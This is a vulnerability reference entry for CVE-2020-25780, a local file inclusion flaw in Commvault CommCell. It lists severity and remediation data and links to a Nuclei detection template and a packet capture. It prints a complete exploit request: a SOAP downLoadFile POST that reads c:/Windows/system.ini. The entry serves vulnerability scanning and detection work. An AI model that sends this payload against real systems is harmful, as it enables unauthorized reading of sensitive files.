| Title | Commvault CommCell - Local File Inclusion |
|---|---|
| Author | pdteam |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system. |
| Remediation | Apply the latest security patches or updates provided by Commvault to fix the local file inclusion vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.63364 |
| CVE ID | CVE-2020-25780 |
| CWE ID | CWE-22 |
| Tags | cve cve2020 commvault lfi vuln |
CommCell in Commvault before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13 are vulnerable to local file inclusion because an attacker can view a log file can instead view a file outside of the log-files folder.
POST /SearchSvc/CVSearchService.svc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Connection: close
Content-Length: 298
Accept: */*
Accept-Language: en
Cookie: Login
content-type: text/xml
soapaction: http://tempuri.org/ICVSearchSvc/downLoadFile
Accept-Encoding: gzip
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:downLoadFile>
<tem:path>c:/Windows/system.ini</tem:path>
</tem:downLoadFile>
</soapenv:Body>
</soapenv:Envelope>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-25780.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-25780.pcap
N/AN/A